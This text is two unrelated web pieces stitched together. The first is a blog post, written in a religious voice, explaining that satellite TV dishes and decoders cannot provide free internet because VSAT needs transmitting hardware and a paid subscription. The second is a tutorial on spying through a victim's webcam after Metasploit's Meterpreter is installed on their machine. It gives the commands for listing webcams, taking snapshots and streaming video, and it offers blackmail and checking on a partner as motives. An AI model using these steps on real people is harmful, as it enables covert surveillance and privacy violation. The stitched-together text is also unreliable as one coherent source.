Free internet using Satellite TV decoders

Free Internet Using Satellite TV Decoders

Greetings in the Name of the Lord Jesus Christ.

This beautiful morning, I endeavour to write on a vitally important but readily confusing subject for many technology enthusiasts and satellite hobbyists. A major predicate for this initiative  has been the numerous emails I have received about this subject, which I perceive are likely to even increase after this post, but all the same, I deem writing this article better than staying quiet on the matter forever.

Many people want to find out how they can browse for free using their satellite tv decoder at home. Indeed, in one of my most read articles Connecting your satellite decoder to the internet, a lot of readers misunderstood the purpose of the article, taking it to be a lecture on how to browse the internet free with a satellite tv connection. I replied numerous comments and emails in that regard, and yet the email flood doesn’t just seem to abate. Now that I am about clarifying matters about satellite internet, many internet scammers are very much unlikely to be happy, and yet this is for the general good of all who love technology and truth, and being a servant of God, it’s appropriate to expose deception of every kind and the wickedness of selfish characters on the internet using technical ambiguity to live off innocent individuals.

Before I say anything more, I state emphatically here that you cannot use an ordinary tv satellite dish and decoder to get internet connectivity. As a matter of fact, when we talk about satellite internet, we are actually referring to VSAT. Vsat stands for “Very Small Aperture Terminal”, which refers to the technology whereby data is sent and received via an antenna. The antenna size is typically 1.2m diameter for Ku-Band, or 2.4m diameter for C-Band. The difference between the two is the Frequency in which they operate. C-Band systems operate on a lower frequency (3-6 Ghz) and are therefore less affected by rain fade, however due to the size of the hardware they are more costly. Ku Band systems operate on a higher Frequency (12-14 Ghz), and allow for smaller antennas, but depending on the power of the satellite can be affected by bad weather conditions. But for satellite broadband, dish sizes ranging between 1.2m – 3.7m are used, and that’s to say a 60cm or 90cm dish will just not be used in implementing a satellite internet link.

That’s just one part of the treatise. Now, VSAT is deployed mostly in very remote areas where only satellite installations would be the most convenient internet implementation with the lack of fast broadband for fast and secure data transmission. To install a VSAT, you would necessarily need the following :

• A satellite antenna capable of transmitting and receiving data.
• A BUC (Block Up Converter) for transmitting.
• An LNB (Low Noise Down Converter) for receiving.
• Coaxial Cable from the antenna to the indoor modem.
• A satellite Modem capable of receiving and transmitting data such as E-mails etc.

An ordinary satellite tv dish does not have a BUC, only an LNB, which is capable of only receiving datagrams. That is also to say that, your tv dish, being an LNB-only setup, can only receive digital data, but cannot send. Internet however requires both an uplink and a downlink (send and receive), so that’s clear enough. Besides, dedicated satellite modems used for satellite internet links aren’t  the normal ADSL modems available on the market. A typical satellite modem looks something like this:

I provide a second image of a connected satellite modem to help you understand that this isn’t the normal modem/router you know.

By now I am sure you are beginning to get an idea what it takes to set up a satellite internet link. Like I mentioned earlier, an LNB cannot transmit data to a transponder on a satellite, it can only receive data streams for onward transmission into the modem for final decoding of the data packet. To be able to transmit data via a satellite dish to a satellite up in the sky and effectively communicate over the internet, you would need a BUC This is always attached to a Ku or C band LNB attached to the dish/ satellite bowl. Small as it may seem to your eyes, this is the transceiver that can actually enable you to transmit whatever data you wish to a satellite up in the sky, and get it forwarded to other networks and nodes. An ordinary satellite tv dish doesn’t use, and just doesn’t support the use of a BUC, and that is why you cannot establish any form of internet connection using your small dish at home to get an internet connection. It is likely you have seen Banks and other corporate organisations using satellite internet with dishes like this :

RhemaNetworks 2

This is the kind of setup that gives you satellite broadband connectivity, not your DStv, Mytv or MulitTV Ku / C band LNB dishes.

My dear friend, many scammers are out there taking advantage of the lack of adequate information on some of these matters, and duping unsuspecting individuals. I have taken time this morning just to help you understand the processes and hardware configuration involved in getting satellite internet at home or at the office. If inspite of all I have said, you still fall victim to an internet scam about using your tv dish to browse the net for free, that would be most unfortunate. There’s nothing like free browsing with satellite decoders. When you sign up for VSAT, you have to purchase a subscription, and you pay just as you would for fixed or mobile broadband. An eternal mental conditioning and desire to get everything free isn’t the best for  a technology enthusiast. So don’t get yourself into any free satellite internet cloud.

I am very happy I have been able to post on this, and may it bring versatile enlightenment to many. Relevant questions and comments are always welcome.

God bless us all.

How to Hack a WebCam Remotely

• 
  

Welcome back, my hacker novitiates!

In this guide will continue to display the abilities of Metasploit's powerful Meterpreter by hacking into the victim's webcam. This will allow us to control the webcam remotely, capturing snapshots from it.

Why exactly would you want to hack into somebody's webcam? Maybe you suspect your significant other of having a fling. Or, maybe you're into blackmailing. Or, maybe you're just a creep. But the real purpose is to show just how easy it is, so you're aware that it can be done—and so you can protect yourself against it.

Unlike just installing a command shell on the victim computer, the Meterpreter has the power to do numerous and nearly unlimited things on the target's computer. The key is to get the Meterpreter installed on their system first.

So, now let's fire up Metasploit and install Meterpreter on the victim's system. Once we have done that, we can then begin to view and capture images from their webcam.

Step 1List the Victim's Webcams

Metasploit's Meterpreter has a built-in module for controlling the remote system's webcam. The first thing we need to do is to check if there is a web cam, and if there is, get its name. We can do that by typing:

meterpreter > webcam_list

If he/she has a webcam, the system will come back with a list of all the webcams.

Step 2Snap Pictures from the Victim's Webcam

Now that we know he/she has a webcam, we can take a snapshot from the webcam by typing:

meterpreter > webcam_snap

The system will now save a snapshot from her webcam onto our system in the directory /opt/framework3/msf3, which we can open and see what's going on.

The quality of the image saved all depends on your victim's webcam and surroundings.

Step 3Watch Streaming Video from the Victim's Webcam

Now that we know how to capture a single snapshot from the victim's webcam, we will now want to run the webcam so that we can watch a continuous video stream. We can do this by typing;

meterpreter > run webcam -p /var/www

This command starts his/her webcam and sends its streaming output to /var/www/webcam.htm.

How to Protect Yourself from Webcam Intrusion

So, what can you do to make sure no one is peeking in on your habits in front of the computer? The easiest solution—cover your webcam up. Some laptops with built-in webcams actually have a slide cover you can use.

If that's not the case, a piece of non-translucent tape should to the trick, unless you want to buy one of these or these things. And if you still have one of those old-school USB webcams, simply unplug it.

We will continue to explore fun ways we can use the Meterpreter in the near future, so make sure to come back for more!
